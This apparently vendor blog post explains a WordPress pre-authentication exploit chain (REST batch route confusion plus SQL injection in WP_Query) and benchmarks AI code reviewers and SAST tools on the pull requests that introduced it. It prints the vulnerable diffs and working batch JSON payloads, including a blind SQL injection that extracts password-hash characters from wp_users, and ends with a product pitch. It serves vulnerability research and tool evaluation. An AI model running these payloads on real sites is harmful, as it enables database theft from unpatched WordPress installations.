Around half of all websites on the Internet run on WordPress (a whopping 500M websites!), so when Searchlight Cyber managed to find a pre-authentication RCE in WordPress, it was a pretty big deal for the security community.

Any WordPress site running one of these versions is vulnerable to unauthenticated remote code execution, with no preconditions:

• WordPress 6.9.0 through 6.9.4, fixed in 6.9.5

• WordPress 7.0.0 through 7.0.1, fixed in 7.0.2

• WordPress 7.1 beta, fixed in 7.1 beta2

This stemmed from a combination of two vulnerabilities: CVE-2026-63030 is a route handler confusion issue in the REST API batch endpoint, and CVE-2026-60137 is an SQL injection in WordPress core.

After years of “shifting left” and trying to stop vulnerabilities at their source, would today’s code review and SAST tools have blocked the historical pull requests that introduced this chain? We first look at how the vulnerability works, then recreate those pull requests and run the tools against them.

Understanding the vulnerability

The vulnerability chain combines two primitives:

1. POST /wp-json/batch/v1 bundles multiple REST API calls into a single HTTP request. The route is publicly callable and has no route-specific permission check of its own. Normally, each sub-request is matched to a route, validated and sanitized against that route’s schema, and then authorized using the matched handler’s permission_callback.

   However, a route confusion flaw causes the arrays containing the sub-requests, validation results, and matched handlers to become misaligned. Consequently, a sub-request can be validated and sanitized against one route’s schema but dispatched using a different route’s handler.

2. WordPress core’s WP_Query sanitization logic is flawed, sanitizing only arrays when processing the author__not_in parameter. When the parameter is a string, it is not sanitized as an absint, so a subsequent SQL string interpolation can lead to a SQL injection.

Issue 2 on its own only matters if there is another primitive that allows untrusted string input to be passed to author__not_in. In isolation, it would mean that a default WordPress site is not directly exploitable (but an installed plugin or theme that provides this primitive could make it exploitable).

With issue 1, WordPress core itself supplies the primitive needed to exploit WP_Query::author__not_in, by allowing a request that bypasses validation to pass this value unsanitized.

CVE-2026-63030: route handler confusion

The first issue was introduced in an attempt to fix ticket #63502 (HTTP 500 in wp-json/batch with specific arguments):

Trac ticket #63502, HTTP 500 in wp-json/batch with specific arguments, with a curl reproduction and the resulting PHP fatal error

This diff was merged in pull request #8850:

1749
foreach ( $requests as $single_request ) {
1750
    if ( is_wp_error( $single_request ) ) {
1751
        $has_error    = true;
1752
        $validation[] = $single_request;
1753
        continue;
1754
    }
1755

1756
    $match     = $this->match_request_to_handler( $single_request );
1757
    $matches[] = $match;
66 collapsed lines
1758
    $error     = null;
1759

1760
    if ( is_wp_error( $match ) ) {
1761
        $error = $match;
1762
    }
1763

1764
    if ( ! $error ) {
1765
        list( $route, $handler ) = $match;
1766

1767
        if ( isset( $handler['allow_batch'] ) ) {
1768
            $allow_batch = $handler['allow_batch'];
1769
        } else {
1770
            $route_options = $this->get_route_options( $route );
1771
            $allow_batch   = isset( $route_options['allow_batch'] ) ? $route_options['allow_batch'] : false;
1772
        }
1773

1774
        if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) {
1775
            $error = new WP_Error(
1776
                'rest_batch_not_allowed',
1777
                __( 'The requested route does not support batch requests.' ),
1778
                array( 'status' => 400 )
1779
            );
1780
        }
1781
    }
1782

1783
    if ( ! $error ) {
1784
        $check_required = $single_request->has_valid_params();
1785
        if ( is_wp_error( $check_required ) ) {
1786
            $error = $check_required;
1787
        }
1788
    }
1789

1790
    if ( ! $error ) {
1791
        $check_sanitized = $single_request->sanitize_params();
1792
        if ( is_wp_error( $check_sanitized ) ) {
1793
            $error = $check_sanitized;
1794
        }
1795
    }
1796

1797
    if ( $error ) {
1798
        $has_error    = true;
1799
        $validation[] = $error;
1800
    } else {
1801
        $validation[] = true;
1802
    }
1803
}
1804

1805
$responses = array();
1806

1807
if ( $has_error && 'require-all-validate' === $batch_request['validation'] ) {
1808
    foreach ( $validation as $valid ) {
1809
        if ( is_wp_error( $valid ) ) {
1810
            $responses[] = $this->envelope_response( $this->error_to_response( $valid ), false )->get_data();
1811
        } else {
1812
            $responses[] = null;
1813
        }
1814
    }
1815

1816
    return new WP_REST_Response(
1817
        array(
1818
            'failed'    => 'validation',
1819
            'responses' => $responses,
1820
        ),
1821
        WP_Http::MULTI_STATUS
1822
    );
1823
}
1824

1825
foreach ( $requests as $i => $single_request ) {
1826
    if ( is_wp_error( $single_request ) ) {
1827
        $result      = $this->error_to_response( $single_request );
1828
        $responses[] = $this->envelope_response( $result, false )->get_data();
1829
        continue;
1830
    }
1831

1832
    $clean_request = clone $single_request;
1833
    $clean_request->set_url_params( array() );

In the batch endpoint implementation, serve_batch_request_v1() builds two arrays intended to be aligned with $requests[]:

• $matches[] tracks which handler to dispatch each sub-request to

• $validation[] tracks whether each sub-request passed validation

We can see that in an attempt to fix an issue where URL parsing of a sub-request was not properly handled, the code was modified to push a WP_Error object onto $validation[] and then execute continue, without appending a corresponding entry to $matches[]:

1
foreach ( $requests as $single_request ) {
2
  if ( is_wp_error( $single_request ) ) {
3
    $has_error    = true;
4
    $validation[] = $single_request;
5
    continue;
6
  }

The bug here is that when a malformed sub-request is encountered, $requests and $validation remain aligned, while $matches becomes shorter by one entry.

Let’s use this to bypass the validation of the batch endpoint schema, which doesn’t allow GET sub-requests. For example, the following request:

1
POST /?rest_route=/batch/v1 HTTP/1.1
2
Host: localhost:8888
3
Content-Type: application/json
4
Content-Length: 75
5

6
{
7
  "requests": [
8
    { "method": "GET", "path": "/wp/v2/posts" }
9
  ]
10
}

will be rejected with:

1
{
2
  "code": "rest_invalid_param",
3
  "message": "Invalid parameter(s): requests",
4
  "data": {
5
    "status": 400,
6
    "params": {
7
      "requests": "requests[0][method] is not one of POST, PUT, PATCH, and DELETE."
8
    },
9
    "details": {
10
      "requests": {
11
        "code": "rest_not_in_enum",
12
        "message": "requests[0][method] is not one of POST, PUT, PATCH, and DELETE.",
13
        "data": null
14
      }
15
    }
16
  }
17
}

But one can use a neat trick to get around this. By making use of the off-by-one desync between $requests and $matches, we can make the batch endpoint call itself again, this time with a GET sub-request in the body:

1
{
2
  "requests": [
3
    { "method": "POST", "path": "http://" },
4
    {
5
      "method": "POST",
6
      "path": "/wp/v2/posts",
7
      "body": {
8
        "requests": [
9
          { "method": "POST", "path": "/wp/v2/posts" },
10
          { "method": "GET", "path": "/wp/v2/posts" }
11
        ]
12
      }
13
    },
14
    { "method": "POST", "path": "/batch/v1" }
15
  ]
16
}

The 3 sub-requests are parsed and validated in order:

1. POST http://: wp_parse_url() fails. $validation = [ error ], $matches = []

2. POST /wp/v2/posts: wp_parse_url() succeeds. $validation = [ error, OK ], $matches = [ posts_handler ]

3. POST /batch/v1: wp_parse_url() succeeds. $validation = [ error, OK, OK ], $matches = [ posts_handler, batch_handler ]

So the body of request 2 is validated and sanitized against the posts route’s schema, but dispatched using the batch route’s handler. Since the posts route’s schema doesn’t contain requests, the requests array is not validated.

Therefore, the requests array is passed unvalidated to the batch route’s handler, which will now process the nested sub-requests and execute the GET request:

1
{
2
  "responses": [
3
    {
4
      "body": {
5
        "code": "parse_path_failed",
6
        "message": "Could not parse the path.",
7
        "data": { "status": 400 }
8
      },
9
      "status": 400,
10
      "headers": []
11
    },
12
    {
13
      "body": {
14
        "responses": [
15
          ...
16
          {
17
            "body": [
18
              {
19
                "id": 1,
20
                ...
21
                "slug": "hello-world",
22
                "status": "publish",
23
                "type": "post",
24
                "link": "http:\/\/localhost:8888\/?p=1",
25
                "title": { "rendered": "Hello world!" },
26
                "content": {
27
                  "rendered": "\n<p>Welcome to WordPress. This is your first post. Edit or delete it, then start writing!<\/p>\n",
28
                  "protected": false
29
                },
30
                ...
31
              }
32
            ],
33
            "status": 200,
34
            "headers": { "X-WP-Total": 1, "X-WP-TotalPages": 1, "Allow": "GET" }
35
          }
36
        ]
37
      },
38
      "status": 207,
39
      "headers": { "Allow": "POST" }
40
    },
41
    {
42
      "body": {
43
        "code": "rest_batch_not_allowed",
44
        "message": "The requested route does not support batch requests.",
45
        "data": { "status": 400 }
46
      },
47
      "status": 400,
48
      "headers": []
49
    }
50
  ]
51
}

CVE-2026-60137: SQL injection via WP_Query

The second issue was introduced in an attempt to fix ticket #59516 (Improve cache key generation in the WP_Query class):

Trac ticket #59516, Improve cache key generation in the WP_Query class

Here, we can see that the pull request aimed to sort query variables when they are arrays, so that the same arguments produce the same cache key:

if ( ! empty( $q['author__not_in'] ) ) {
    $author__not_in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__not_in'] ) ) );
    if ( is_array( $q['author__not_in'] ) ) {
        $q['author__not_in'] = array_unique( array_map( 'absint', $q['author__not_in'] ) );
        sort( $q['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $q['author__not_in'] );

However, in doing so, it no longer sanitizes the author__not_in parameter as an absint when it is not an array.

The sanitization now only happens in the is_array($q['author__not_in']) branch, while a string value is effectively passed through unchanged:

1
if ( ! empty( $q['author__not_in'] ) ) {
2
  $author__not_in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__not_in'] ) ) );
3
  if ( is_array( $q['author__not_in'] ) ) {
4
    $q['author__not_in'] = array_unique( array_map( 'absint', $q['author__not_in'] ) );
5
    sort( $q['author__not_in'] );
6
  }
7
  $author__not_in = implode( ',', (array) $q['author__not_in'] );

Combined with the above primitive, we can now make a GET request to /wp/v2/posts including the author_exclude query parameter. Since the request containing the author_exclude query parameter is validated against the categories route’s schema, which doesn’t contain author_exclude, the value is passed through unchanged to the posts route’s handler:

1
{
2
  "requests": [
3
    { "method": "POST", "path": "http://" },
4
    {
5
      "method": "POST",
6
      "path": "/wp/v2/posts",
7
      "body": {
8
        "validation": "normal",
9
        "requests": [
10
          { "method": "POST", "path": "http://" },
11
          {
12
            "method": "POST",
13
            "path": "/wp/v2/categories?author_exclude=0)%20AND%20(ASCII(SUBSTRING((SELECT%20user_pass%20FROM%20wp_users%20LIMIT%201)%2c1%2c1))%20%3e%2080)--%20-",
14
            "body": { "name": "x", "orderby": false }
15
          },
16
          { "method": "GET", "path": "/wp/v2/posts" }
17
        ]
18
      }
19
    },
20
    { "method": "POST", "path": "/batch/v1" }
21
  ]
22
}

Hacktron on the recreated pull requests

To reproduce the PRs that introduced the vulnerability, I recreated both PRs using the exact commits, title, and description.

Route handler confusion

After creating a PR with the original vulnerable commit, I got Hacktron to review the PR:

Recreated pull request for the batch endpoint fix, with the review bots listed as reviewers

Hacktron identified the index misalignment issue and commented on the exact lines of code that introduced the vulnerability:

Hacktron review comment on class-wp-rest-server.php, batch request index misalignment leading to authorization bypass

While the finding was mostly correct, the impact was slightly misstated:

It is true that a request is processed using the permission and execution callbacks of a subsequent request in the batch, but to be precise, it is the schema validation that is bypassed, not the permission (authorization) controls.

Hacktron still described the security impact, namely that an attacker can craft a request that reaches a different, potentially sensitive route from the one it was intended for and validated against:

Hacktron comment, steps to reproduce the index misalignment with an example batch request

SQL injection via WP_Query

We can run a similar experiment here:

Recreated pull request WP_Query: sort more arrays to improve cache hits, with Hacktron and Copilot as reviewers

Hacktron correctly identified the vulnerability and explained how it came about:

Hacktron review comment on class-wp-query.php, SQL injection in WP_Query via author__not_in

In this case, it also identified the necessary preconditions for the vulnerability to be exploited, such as a plugin or theme that provides a way to pass untrusted string input to WP_Query::author__not_in:

Hacktron comment, preconditions and steps to reproduce

Generic code review tools

Now that I knew that Hacktron was able to catch both issues, the next question I had was: could these security issues have been caught by generic code review tools?

This matters because if generic code review tools catch the same issue but miss the security impact, developers would weigh the trade-offs of fixing it very differently and could still make the same mistake today. After all, a general code quality improvement is less likely to be prioritized over a real security issue.

Setup

For this experiment, I needed to bring out the Avengers of code review tools:

GitHub checks on the test PR: Cursor Bugbot, Aikido, Snyk, CodeRabbit, Devin, GitGuardian, Greptile, Semgrep

The same PRs were tested on the following tools:

• Cursor Bugbot

• Devin Review

• Greptile

• CodeRabbit

• Codex Review

• Claude Code Review (GitHub App)

For each of these tools, I used the default configuration, and the only configuration changes I made were to enable reviews for the target branch of the PR, as it was not a default branch.

Results

Cursor, Devin, Codex, Greptile, and Claude all noticed that the change could make an otherwise valid request return a 500, return the wrong response, or throw an uncaught exception, but none of them identified or emphasized a security implication (see all comments below).

The results changed for the SQL injection pull request: Codex, Devin, CodeRabbit, and Claude identified the SQL injection. Greptile did not, describing the pull request as “safe to merge with minor clean-up” (see all comments below).

Security issue found means the reviewer identified the security implication. Bug found means it identified the underlying bug without a security implication. Not found means it missed the issue.

SAST tools

Setup

You may have noticed that in my Avengers lineup, I also included a few SAST tools. These are rule-based static analysis tools that are designed to catch security issues in pull requests:

• Snyk Code

• Aikido SAST

• Semgrep Code

• GitHub Advanced Security (CodeQL)

Again, I used the default configuration for each tool.

Results

None of the three supported SAST tools caught either issue. CodeQL does not support PHP, so there was no way to test GitHub Advanced Security.

A cross means the issue was not found. Not supported means the tool does not support PHP.

Combined results

The distinction between finding a bug and finding a vulnerability showed up most in the route handler confusion results. While most code review tools noticed the discrepancy, they did not connect it to a security implication.

Security issue found means the reviewer identified the security implication. Bug found means it identified the underlying bug without a security implication. Not found means it missed the issue. Not supported means the tool does not support PHP.

Conclusion

General code review vs. security review

The results make the case for having both general code review and security review in the software development process.

The general code review tools did useful work on the route handler confusion pull request. Most of them correctly identified that the change did not fully fix the 500-error issue it set out to solve: a valid request could still return the wrong response, produce an uncaught exception, or fail with a 500, which is a functional correctness problem a general code reviewer should catch. The SQL injection results also show that there is overlap, with most of the general review tools recognizing the vulnerability directly.

What the general review comments did not explain was why the route handler bug crossed a security boundary. The two types of review therefore answer different questions. General code review asks whether the change works as intended and whether it introduces regressions. Security review asks how an attacker could use the change, which trust boundary it breaks, and what the impact would be.

Where SAST fits

The SAST tools missed both issues. Whether that is a problem depends on what rule-based tools are meant to do.

In general, there are tradeoffs between rule-based systems and AI-based systems like Hacktron. Rule-based systems are deterministic and predictable, but they are also less flexible and more prone to false positives. On the other hand, AI-based systems will have some level of nondeterminism and may be slower or more expensive.

While most of these rule-based scans completed in under 30 seconds, Hacktron Review takes 1–2 minutes on average. Deterministic systems are also useful when a security engineer wants to look for a very specific pattern in the AST.

Hacktron Review reasons about the code, works out what the developer intended, and evolves its threat model over time. This vulnerability is subtle, and I would not expect a rule-based SAST tool to catch it. SAST detects known patterns at scale, with predictable cost and high customization.

Hacktron targets the subtle vulnerabilities that rule-based SAST often misses and backs its findings with context from the codebase. It is for developers working on security-critical code who need to find these edge cases with every PR instead of between periodic pentests, or care more about higher-level semantic, logical issues than low-hanging syntactic issues.

If that’s you, we have a 14-day free trial.

Appendix: route handler confusion results

Appendix: SQL injection results

Devin Review

Devin SQL injection review

Greptile

Greptile SQL injection review

CodeRabbit

CodeRabbit SQL injection review

Codex Review

Codex SQL injection review

Claude Code Review

Claude SQL injection review